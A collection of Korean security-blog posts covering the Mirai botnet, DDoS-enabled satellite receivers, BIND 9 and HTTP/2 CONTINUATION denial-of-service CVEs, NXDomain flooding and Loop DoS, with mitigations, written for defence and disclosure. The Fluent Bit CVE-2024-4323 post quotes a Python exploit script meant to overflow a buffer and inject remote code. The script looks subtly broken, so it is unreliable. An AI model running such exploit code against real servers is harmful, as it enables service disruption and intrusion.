요약 - Juniper Networks 제품 세션 스마트 라우터(Session Smart Router, SSR)가 Mirai 봇넷 공격 표적이 됨
- 기본 비밀번호를 사용하는 제품을 감염시켜 DDoS 실행
내용 - 24.12.11 주니퍼는 고객으로부터 SSR 플랫폼에 이상 현상이 발생했다는 보고를 받음
> 기본 비밀번호를 사용하는 시스템들이 Mirai 악성코드에 감염 및 네트워크 내 다른 장치에 DDoS 공격을 실행

- Mirai는 2016년 소스 코드가 유출된 이후 다양한 변종으로 진화
> 기본 자격 증명과 알려진 취약점을 통해 장치를 감염시켜 DDoS 공격에 사용
> 약한 비밀번호 또는 기본 설정을 그대로 사용 중인 장비를 겨냥해 무차별 대입 공격을 실행
> 감염된 장치들은 일반적으로 포트 스캔, SSH를 통한 다수의 로그인 시도, 비정상적인 대량 외부 트래픽 발생, 갑작스런 재부팅 등의 이상 징후를 보임

- 주니퍼는 위협을 완전히 제거하는 유일한 방법으로 장치 재이미징(reimaging) 권고
> 재이미징(reimaging) : 새로 설치하거나 초기화하는 과정

- 아카마이, 새로운 미라이 변종 'Hail Cock' 경고
> DigiEver DS-2105 Pro DVR 장치의 원격 코드 실행 취약점과 약한 비밀번호를 악용
> 텔넷(Telnet)과 SSH 무차별 대입 공격으로 봇넷 규모를 확장
> CVE-2023-1389, CVE-2018-17532 등 취약점 악용
※ CVE-2023-1389 : TP-Link 라우터의 명령어 삽입 취약점
※ CVE-2018-17532 : Teltonika RUT9XX 라우터의 비인증 운영체제 명령어 삽입 취약점

- 미라이 봇넷 등 봇넷의 위협 완화를 위해 기본적인 보안 조치 권고
> 기본 비밀번호를 즉시 강력하고 고유한 비밀번호 변경
> 접근 로그를 주기적으로 감사해 비정상적인 로그인 시도나 의심스러운 트래픽을 확인
> 방화벽을 설정해 무단 트래픽을 차단하고 중요한 장치 접근을 제한
> 장치 펌웨어를 최신 상태로 유지하고, 제조사가 지원을 중단한 장비는 교체
> 이상 징후(포트 스캔, 재부팅, 대량의 외부 트래픽 등)에 대한 모니터링을 강화
기타 - 기본 비밀번호와 패치되지 않은 시스템은 네트워크 보안의 가장 큰 약점
> IoT 및 네트워크 장치도 전통적인 엔드포인트와 동일한 수준의 보안 관리가 필요

 

보안뉴스

 

[주의] 미라이 봇넷, 기본 비밀번호 악용해 SSR 장비 공격…증가하는 DDoS 위협 - 데일리시큐

주니퍼 네트웍스(Juniper Networks)가 자사 세션 스마트 라우터(Session Smart Router, SSR) 제품이 미라이(Mirai) 봇넷 공격의 주요 표적이 되고 있다고 경고했다. 이 공격은 기본 비밀번호를 활용해 장비를

www.dailysecu.com

 

요약 - 수십만대의 위성 수신기에 DDoS 공격 기능을 탑재해 제조 및 판매한 혐의로 국내 기업 대표와 직원 5명 체포
- 수신기는 구매자 요청에 따라 사전에 DDoS 모듈이 설치되었거나, 펌웨어 업데이트를 통해 추후 추가됨
내용 - 연류된 회사는 2017년부터 영업 시작
> 2018.11 해외 방송사가 한국 제조사에 DDoS 기능을 위성 수신기에 추가해달라 요청
> 해당 기능은 경쟁사의 공격을 방어하기 위해 사용된 것으로 추정

- 2019.01 ~ 2024.09 제조사는 위성 수신기 24만대 유통
> 9만 8천 대는 DDoS 모듈이 사전 설치
> 나머지 수신기는 펌웨어 업데이트를 통해 기능 추가

- DDoS 기능이 수신기에 에떻게 적용되었는지 명확히 밝혀지지 않음

- 체포된 6명은 정통망법 위반 혐의로 기소
> 악성 수신기 판매 수익으로 추정되는 610억원 몰수 및 압류
> 해당 기기를 구매한 외국 기반 방송사 운영진은 체포되지 않았으며, 국제 공조 요청 중
기타 - 소비자 기기에 악성 기능이 포함되지 않도록 공급망 안전성 확보는 필수적
> HW와 SW 구성 요소에 대해 엄격한 보안 감사와 검증 절차 필요
> 소비자들은 제조사의 공식 소스를 통해 정기적 펌웨어 업데이트 및 이상 행동 감지 시 즉시 확인 등의 주의 필요

 

보안뉴스

 

DDoS 기능 탑재한 위성 수신기 제조·판매한 국내 기업 대표와 직원 체포돼 - 데일리시큐

위성 수신기 24만 대 이상에 분산서비스거부(DDoS, Distributed Denial of Service) 공격 기능을 탑재해 제조·판매한 혐의로 국내 모 기업 대표와 직원 5명을 체포했다. 이들 수신기는 구매자 요청에 따라

www.dailysecu.com

요약 - 친러 해킹그룹, 한국 기관 대상 DDoS 공격 및 데이터 유출 시도
- 외부 접속 단속하고, 계정·백업·이메일 등 철저한 관리 권고
내용 - 친러시아 해커 그룹, 한국 금융권 및 공공기관을 겨냥한 DDoS 공격과 데이터 유출 시도
> 한국이 우크라이나를 지원했다는 빌미

- 사이버 위협정보 분석·공유 시스템 ‘C-TAS(Cyber Threat Analysis & Sharing)’ 보안 공지 3건 발표
> 기관과 기업의 적극 협조 요청
① 외부 접속 관리 강화
> 기업 자산 중 외부에 오픈된 DB 서비스, NAS 등 시스템 현황을 파악
> 테스트 서버 등 불필요한 시스템 연결을 차단
> 중요 시스템 접속자의 경우 개인 단말에 임의로 원격제어 프로그램이 설치됐는지 확인
> 불필요한 네트워크 서비스를 중지 및 1433, 3389 등 기본 서비스 포트 사용 지양
> 부득이하게 외부에서 접속해야 하는 경우 접속 IP 및 단말기기 제한, 다중인증 설정이나 내부차단을 위한 서버별 접근제어 설정·확인
> 해외 및 야간이나 주말 접속 IP와 비정상 접속 여부, 일반적이지 않은 네트워크 통신량에 대한 주기적인 로그 확인 필요

② 계정 관리 강화
> 기본 관리자 패스워드를 사용하고 있다면 반드시 변경
> 사용하지 않는 기본 관리자 계정은 비활성화 및 권한 제외
> 정기적 비밀번호 변경과 2차 인증수단을 적용

③ 백업 관리 강화
> 중요 자료는 네트워크와 분리된 별도의 저장소에 정기적으로 백업
> 외부 클라우드 등에 자료 보관과 소유 기반의 이중인증 적용 권고
> 클라우드 자체에 대한 랜섬웨어 감염을 대비해 클라우드에 보관된 자료의 정기적 백업

④ 이메일 보안 강화
> 이메일 송신자 및 메일 주소 확인
> 불분명한 메일 및 첨부파일, URL 클릭을 지양
> 첨부파일의 경우 확장자 확인
> 바로가기 파일이나 실행 파일 클릭 지양
> 파일 탐색기 > 보기 > '파일 확장명’ 체크 상태 확인
> 파일 탐색기 > 보기 > 옵션 > 폴더 및 검색 옵션 변경 > 보기 > 알려진 파일 형식의 파일 확장명 숨기기 체크 해제 상태 확인
> 이메일 보안 솔루션을 사용해 유해성 유무 확인 및 악성 이메일을 차단

⑤ 기타
> 홈페이지와 주요 시스템에 대한 모니터링 강화
> 자동 업데이트를 통해 운영체제 및 SW를 최신 상태 유지
> 바이러스 백신 프로그램을 설치 및 최신 상태 유지
> 랜섬웨어 감염에 대비한 복구 계획 수립 및 모의훈련 수행 요구
기타 - 침해사고를 당했을 경우
> 한국인터넷진흥원인터넷침해대응센터 종합상황실(02-405-4911~5)
> KISA 인터넷보호나라&KrCERT 홈페이지를 통해 신고

 

보안뉴스

 

친러 해킹그룹, 우크라이나 지원 빌미로 한국 공격... 랜섬웨어·디도스 주의 권고

러시아-우크라이나(이하 러-우) 전쟁에 북한군이 불법 파병되는 등 국제정세 불안정에 따라 우리나라에 대한 사이버 위협이 증가하고 있다. 한국이 우크라이나를 지원했다는 빌미로 친러시아

www.boannews.com

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

1. BIND (Berkeley Internet Name Domain) [1]

- DNS를 구현한 오픈소스 소프트웨어 [2]

 

2. 주요내용

- CISABIND 9 DNS 소프트웨어 제품군에서 발견된 여러 취약점에 대한 권고 발표 [3]

> ISC에 의해 발견되어 패치가 적용됨

> 공격자들은 이를 악용해 DoS 공격을 실행할 수 있음

 

2.1 CVE-2024-4076 [4][5]

[사진 1] CVE-2024-4076

- DNS 서버에서 오래된 데이터와 로컬 데이터 조회가 동시에 이루어질 때 발생하는 오류(Assertion 실패)서비스 거부 상태를 유발

> Assertion: BIND 서버가 특정 조건이나 상태를 확인하고, 맞지 않을 경우 오류 발생 또는 특정 동작을 수행하는 것

영향받는 버전
- BIND 9
> 9.16.13 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.33-S1 ~ 9.11.37-S1
> 9.16.13-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.2 CVE-2024-1975 [6][7]

[사진 2] CVE-2024-1975

- KEY 레코드를 처리하거나 캐시된 레코드를 검증할 때, SIG(0) 서명된 요청을 연속적으로 전송하여 CPU 리소스를 소진(과도한 부하)시켜 서비스 거부 상태를 유발

> 서버가 KEY Resource Record가 포함된 영역을 호스팅하거나, DNSSEC KEY Resource Record를 캐시의 DNSSEC 서명 도메인에서 유효성을 확인하는 경우

> KEY Resource Record(DNSKEY 레코드): DNSSEC 서명을 확인하는 데 사용되는 공개 키가 포함되어 있으며, 이를 이용해 무결성을 검증 [8]

> SIG(0) 서명: DNSSEC에서 DNSKEY 레코드의 무결성을 보장하기 위해 사용되는 디지털 서명(, DNSKEY 레코드에 대한 디지털 서명)

> 클라이언트는 서버로부터 DNSKEY 레코드와 SIG(0) 서명을 받아 DNSKEY 레코드에서 공개키 추출 및 해당 공개키를 사용해 SIG(0)의 서명의 유효성 검증

영향받는 버전
- BIND 9
> 9.0.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.9.3-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.49-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.3 CVE-2024-1737 [9][10]

[사진 3] CVE-2024-1737

- 서버가 동일한 호스트에 대해 많은 수의 Resource Records(RR)를 보유하고 있는 경우 데이터베이스의 성능 저하를 유발

> DB RR 내용 추가나 업데이트 또는 클라이언트의 쿼리 처리 시 성능 저하가 발생할 수 있음

> 질의 속도가 100배 느려질 수 있음

영향받는 버전
- BIND 9
> 9.11.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.4-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.4 CVE-2024-0760 [11][12]

[사진 4] CVE-2024-0760

- TCP를 통해 다수의 DNS 메시지를 보내 서버 과부하 또는 다운을 발생시켜 서비스 거부 유발

> ACL을 사용해도 공격이 완화되지 않음

영향받는 버전
- BIND 9
> 9.18.1 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.18.11-S1 ~ 9.18.27-S1

 

3. 대응방안

- 최신 보안 업데이트 적용 [13][14]

CVE-2024-1975의 경우 serve-stale(만료된 콘텐츠를 클라이언트에 제공하는 것) 비활성화 시 완화 가능한 것으로 보임

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-4076 BIND 9 9.16.13 ~ 9.16.50 9.18.28
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.33-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.13-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1975 BIND 9 BIND 9 9.0.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.9.3-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.49-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1737 BIND 9 9.11.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.4-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-0760 BIND 9 9.18.1 ~ 9.18.27 9.18.28
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.18.11-S1 ~ 9.18.27-S1 9.18.28-S1

 

4. 참고

[1] https://www.isc.org/bind/
[2] https://github.com/isc-projects/bind9?tab=readme-ov-file
[3] https://www.cisa.gov/news-events/alerts/2024/07/24/isc-releases-security-advisories-bind-9
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-4076
[5] https://kb.isc.org/v1/docs/cve-2024-4076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-1975
[7] https://kb.isc.org/v1/docs/cve-2024-1975
[8] https://www.cloudflare.com/ko-kr/learning/dns/dns-records/dnskey-ds-records/
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-1737
[10] https://kb.isc.org/v1/docs/cve-2024-1737
[11] https://nvd.nist.gov/vuln/detail/CVE-2024-0760
[12] https://kb.isc.org/v1/docs/cve-2024-0760
[13] https://kb.isc.org/docs/aa-00913
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71506&menuNo=205020
[15] https://www.dailysecu.com/news/articleView.html?idxno=158092
[16] https://m.boannews.com/html/detail.html?idx=131717&skind=5
[17] https://asec.ahnlab.com/ko/79800/

'취약점 > Denial of Service' 카테고리의 다른 글

NXDomain Flooding  (0) 2024.07.28
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

1. 개요

- DNS 서버의 핵심적 열할 때문에 항상 주요 공격 표적이 됨 [1]
> 23년 한 보고서에 따르면 DNS 서버를 대상으로 한 DDoS 공격은 22년 대비 약 4배 증가 [2]
- 과거 DNS 서버 대상 위협이 확인되지 않던 과거와 달리 최근 국내 DNS 서버를 대상으로 한 공격이 식별 및 증가 추세
> 24년 초를 기점으로 유입되었던 소량의 이상 트래픽은 점차 증가
> DNS 서버가 짧은 기간 동안 지속적이면서도 반복적인 대량의 NXDomain 응답 반환 식별

 

2. 주요내용

2.1 DNS

- Domain Name Service: 도메인 네임(www[.]example[.]com)과 IP 주소(1.1.1[.]1)를 서로 변환하는 역할

> DNS ClientDNS Resolver에게 도메인 네임의 IP 주소를 요청

> DNS Resolver Root 네임 서버, TLD(Top-Level Domain) 네임 서버, Authoritative 네임 서버에 질의를 전송 및 응답

[사진 1] DNS 동작 순서 [3]

2.2 NXDomain (Non-eXistent Domain)

- 질의한 도메인 네임이 존재하지 않을 때 응답 값

[사진 3] 존재하지 않는 도메인 질의(위) 및 NXDomain 응답(아래)

2.3 DDoS

2.3.1 NXDomain Flooding (Nonsense Name Attack)

- 2015년에 처음 알려진 공격 유형

- 존재하지 않는 도메인 질의를 요청할 시 권한(Authoritative) 네임 서버가 불필요한 자원을 소모한다는 점을 착안

> IP를 위•변조하여 존재하지 않는 도메인에 대한 다량의 질의를 통해 요청을 처리하는 DNS 서버의 자원을 소모시켜 서비스 거부 상황을 초래

※ 단순히 대상 DNS 서버의 자원을 소모시키는 목적을 지니므로 요청에 대한 응답을 받을 필요가 없으므로 IP 위•변조 가능

 

2.3.2 Sub-Domain Scan Attack

- Sub-Domain: 주 도메인에 추가된 하위 도메인

> 서로 다른 별도의 기능을 가진 웹사이트를 구분하여 운영하기 위해 사용

[사진 4] Sub-Domain

- 해당 공격은 공격자가 대상 도메인의 하위 도메인을 검색하여 네트워크 구조 파악 및 잠재적인 취약점을 찾기 위함

> 다양한 서브 도메인을 질의하여 존재 여부 확인을 목적으로 하며, 존재하지 않는 서브 도메인의 경우 NXDomain 응답

> 보호되지 않은 자원을 발견하거나 공격할 수 있는 새로운 경로를 찾는 것이 목적

※ DNSCewl(서로 다른 문자열을 조합하여 공격에 사용 가능한 새로운 문자열 생성하는 도구), haklistgen(외부 홈페이지를 스캔하여 서브 도메인, HTTP Response 페이로드에서 공격에 활용할 수 있는 문자열을 추출하는 도구) 등의 Tool 사용 [5][6]

※ 질의한 서브 도메인이 실제 존재하는지를 확인해야 하므로 IP 위•변조 불가

구분 NXDoamin Flooding Sub-Domain Scan
공격 영향 DNS 서버의 자원에 과도한 부하 유발
트래픽 특징 높은 NXDomain 응답 비율
공격 목적 서비스 가용성 침해 취약한 도메인 식별
질의 도메인 무작위 도메인 존재 가능성 있는 도메인
출발지 IP 위•변조 가능 불가

 

3. 대응

- NSDomain Flooding은 과도한 응답을 유발시키는 것이 목적

> Response Rate Limiting (RRL)를 통해 NXDomain에대한 질의를 제한 (nxdomains-per-second: 초당 NXDOMAIN 응답 수 제한) [7]

> L7 레벨에서 DNS서버의 NXDomain 응답 임계치를 설정하고, 임계치 이상의 응답이 있을 경우 해당 출발지 IP를 임시(or 영구) 차단

 

- Sub-Domain Scan은 취약하거나 새로운 공격 표면을 찾기 위한 목적

> 취약한 도메인이 외부에서 접속 가능한 상태로 운용되지 않도록 조치

> 또한, 조직 내부적으로 지속적인 공격 표면 관리(ASM, Attack Surface Management)를 통해 공격 표면을 줄이고 잠재적 위협을 사전에 차단해 보안 강화 필요

공격 표면 관리(ASM, Attack Surface Management)
> 조직이 소유 및 운영하는 모든 자산을 지속적으로 모니터링
> 잠재적인 취약점 식별 및 이에 대한 대응 조치를 취하는 보안 전략
> 모든 서브 도메인과 경로를 포함한 전체 자산을 명확히 파악할 수 있으며, 내부 자산에 대한 가시성 확보 가능
> 노출된 공격 표면을 최소화하고 발견된 취약점을 신속히 조치함으로써 잠재적 공격 벡터를 줄일 수 있음

 

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=244&bbsNo=11509

[2] https://www.radware.com/security/threat-advisories-and-attack-reports/escalating-trends-in-dns-flood-attacks/

[3] https://inpa.tistory.com/entry/WEB-%F0%9F%8C%90-DNS-%EA%B0%9C%EB%85%90-%EB%8F%99%EC%9E%91-%EC%99%84%EB%B2%BD-%EC%9D%B4%ED%95%B4-%E2%98%85-%EC%95%8C%EA%B8%B0-%EC%89%BD%EA%B2%8C-%EC%A0%95%EB%A6%AC

[4] https://www.networkworld.com/article/934916/a-new-kind-of-ddos-threat-the-nonsense-name-attack.html

[5] https://github.com/codingo/DNSCewl

[6] https://github.com/hakluke/haklistgen

[7] https://www.manageengine.com/dns-dhcp-ipam/help/response-rate-limiting-rrl-in-ddi.html

'취약점 > Denial of Service' 카테고리의 다른 글

DNS BIND DDoS 취약점  (0) 2024.07.31
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

1. Fluent Bit [1][2]

- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용

 

2. 취약점

[사진 1] CVE-2024-4323

 

- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능

영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전

 

2.1 주요 내용

- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생

/api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생

문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발

 

> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨

※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c

[사진 2] 취약점 발생 위치

 

※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
-  더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발

 

2.2 PoC  [4]

- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달

import requests
import argparse

def exploit(url, port, remote_code):
    target_url = f"http://{url}:{port}"

    # Malicious payload to trigger the memory corruption
    malicious_payload = (
        "GET /traces HTTP/1.1\r\n"
        f"Host: {url}\r\n"
        "Content-Length: 1000000\r\n"  # Large content length to trigger buffer overflow
        "Connection: keep-alive\r\n\r\n"
        + "A" * 1000000  # Large amount of data to overflow the buffer
        + remote_code  # Inject remote code at the end
    )

    try:
        response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"Exploit failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--port", required=True, help="Target port number")
    parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")

    args = parser.parse_args()

    exploit(args.url, args.port, args.code)

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

취약점 영향 받는 버전 해결 버전
CVE-2024-4323 Fluent Bit 2.0.7 ~ 3.0.3 버전 Fluent Bit 3.0.4 버전

 

4. 참고

[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

DNS BIND DDoS 취약점  (0) 2024.07.31
NXDomain Flooding  (0) 2024.07.28
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

1. 개요

- HTTP/2 프로토콜 취약점으로인한 서비스 거부 공격이 발견

- HTTP/2 Rapid Reset 공격보다 더 심각한 문제를 유발

> 단일 TCP 연결로 웹 서버를 중단시킬 수 있음

 

2. 주요 내용 [1]

HTTP/2에서 통신의 최소 단위를 Frame이라하며, 하나의 프레임이 포함 [2][3]
- 프레임 헤더는 최소한으로 어떤 스트림에 속하는 프레임인지 식별을 가능케 함

프레임 설명
DATA HTTP 요청 또는 응답 페이로드를 전달하기 위해 사용
HEADERS 스트림을 시작해 엔드포인트에 메시지 헤더를 전송하는 데 사용
PRIORITY 스트림 우선순위를 지정하기 위해 사용
RST_STREAM 클라이언트이나 서버에서 스트림을 즉시 종료하기 위해 사용 (보통 오류 상태에 대한 응답)
SETTINGS 일련의 키값 쌍으로 구성되며, 송신자가 설정하여 수신자에게 전달하기 위해 사용
PUSH_PROMISE 서버가 클라이언트에게 클라이언트가 요청하지 않은 개체를 전송하려 한다는 것을 알리기 위해 사용
PING 엔드포인트 간 왕복 시간을 측청하기 위해 사용
GOAWAY 연결을 정상 종료하기 위해 사용
WINDOW_UPDATE 스트림 흐름 제어를 위해 사용
CONTINUATION 시퀀스를 계속하기 위해 사용

 

- HEADERSCONTINUATION 프레임이 공격에 악용

> HEADERS 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

> CONTINUATION 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

 

- 즉, 클라이언트가 새로운 HTTP/2 스트림을 시작하고

> HEADERS 및 CONTINUATION 프레임을 전송하지만, END_HEADERS 플래그가 설정되지 않은 경우 

> HTTP/2 서버가 구문 분석하고 메모리에 저장해야 하는 헤더의 무한한 스트림이 생성

[사진 1] CONTINUATION Flood 흐름

 

- HTTP/1.1에서는 두 가지 메커니즘을 통해 무한 헤더 문제로부터 보호

> 헤더 크기 제한: 헤더 목록이 허용된 크기를 초과 하면 연결이 끊어짐

> 요청/헤더 시간 초과: 요청/헤더가 적시에 전송되지 않으면 연결이 끊어짐

> HTTP/2에서는 구현되어 있지 않거나, 잘못 구현되어 있어 CPU, 메모리 부족 등 서비스 거부로 이어질 수 있음

 

- CERT-CC(CERT Coordination Center)는 해당 공격에 해당하는 CVE ID를 공개 [4]

> 메모리 누수, 메모리 소비, CPU 소모 등 다양한 수준의 서비스 거부 공격 허용

CVE ID 설명
CVE-2024-27983 - Node.js HTTP/2 서버에 영향
- 몇 개의 HTTP/2 프레임을 전송하면 경쟁 조건으로 인해 메모리 누수가 발생하여 잠재적인 DoS 발생
CVE-2024-27919 - Envoy의 oghttp 코덱에 영향
- 헤더 맵 제한을 초과할 때 요청을 재설정하지 않아 메모리가 무제한으로 소비
CVE-2024-2758 - Tempesta FW와 관련
- 속도 제한은 빈 CONTINUATION 프레임 공격을 효과적으로 방지하지 못하여 잠재적으로 DoS 허용
CVE-2024-2653 - amphp/http에 영향
- 무제한 버퍼에서 CONTINUATION 프레임을 수집하여 헤더 크기 제한을 초과하면 OOM 충돌 위험
CVE-2023-45288 - Go의 net/http 및 net/http2 패키지에 영향
- 공격자가 임의로 큰 헤더 세트를 보내 과도한 CPU 소비를 유발
CVE-2024-28182 - nghttp2 라이브러리를 사용하는 구현과 관련
- CONTINUATION 프레임을 계속 수신하여 적절한 스트림 재설정 콜백 없이 DoS로 이어짐
CVE-2024-27316 - Apache Httpd에 영향
- END_HEADERS 플래그가 설정되지 않은 CONTINUATION 프레임의 연속 스트림이 전송되어 요청이 부적절하게 종료될 수 있음
CVE-2024-31309 - Apache 트래픽 서버에 영향
- HTTP/2 계속 DoS 공격은 서버에서 과도한 리소스 소비를 유발
CVE-2024-30255 - Envoy 버전 1.29.2 이하에 영향
- CONTINUATION 프레임의 폭주로 인해 CPU 소모에 취약하여 상당한 서버 리소스를 소비

 

3. 참고

[1] https://nowotarski.info/http2-continuation-flood-technical-details/
[2] https://datatracker.ietf.org/doc/html/rfc7540#section-6
[3] https://itchipmunk.tistory.com/272
[4] https://kb.cert.org/vuls/id/421644
[5] https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/

'취약점 > Denial of Service' 카테고리의 다른 글

NXDomain Flooding  (0) 2024.07.28
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13

1. 개요

- UDP 프로토콜의 구현상 문제로 인해 발생하는 서비스 거부 취약점이 발견 [1]

- 두 서비스간 오류 메시지를 무한정 주고받도록 하여 서비스 거부 유발

- 최소 30만 개의 서버가 취약점에 영향받는 것으로 파악됨

 

2. CVE-2024-2169

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-2169 [2]

 

- UDP 애플리케이션 프로토콜의 구현 문제로 인해 공격자는 악의적으로 제작된 패킷을 사용해 서비스 거부 유발 가능

> 벤더사 Broadcom, Cisco, Honeywell, Microsoft, MikroTik가 영향을 받는것으로 확인

> DNS, NTP, TFTP, Active Users, Daytime, Echo, Chargen, QOTD, Time과 같은 UDP 프로토콜의 특정 구현을 악용해 자체 영속적인 공격 루프를 생성할 수 있음

> 약 30만 개의 호스트에 영향

 

- UDP는 설계상 Source IP의 유효성을 검사하지 않는 비연결형 프로토콜로, IP 스푸핑에 취약

> UDP는 송수신자간 검증 및 직접 연결을 설정하지 않고, 패킷을 전송

> 따라서, 공격자가 Target IP로 스푸핑하여 응답할 서버로 전송해 취약점을 유발

 

[사진 2] Loop DoS 요약

 

- IP 스푸핑 및 조작된 요청을 전송하여, 두 서비스가 서로의 메시지에 계속 응답하는 루프 생성

> 두 시스템이 오류 메시지를 무한정으로 주고받아(=Loop) 서비스 거부 발생

 

2.1 공격 시나리오

시나리오 ①

- 다수의 호스트와 대상 서버간 루프를(N:1) 생성해 단일 대상에 DoS 유발

[사진 3] 시나리오 ①

시나리오 ②

- 백본 네트워크에 존재하는 호스트간 루프를(N:N) 생성해 다수 대상에 DoS 유발

[사진 4] 시나리오 ②

시나리오 ③

- 내부 호스트와 외부 호스트간 루프를(N:N) 생성해 업링크에 부하 유발

[사진 5] 시나리오 ③

시나리오 ④

- 루프 대상이 단일 응답이 아닌 여러 응답을 발생해 자체 증폭 루프를 형성

> 가장 파괴적인 유형으로, 모든 네트워크 트래픽을 중단하지 않는 한 계속 발생할 것

 

3. 대응방안

- 벤더사 제공 업데이트 적용

> 취약점 확인 후 벤더사에 전달해 조치가 이뤄지는 중

- UDP 애플리케이션 대상 방화벽 규칙 및 ACL 적용

- 불필요 UDP 비활성화

- QoS를 사용해 네트워크 트래픽 제한

- BCP38 및 uRPF(Unicast Reverse Path Forwarding) 등의 스푸핑 방지 솔루션 도입

 

4. 참고

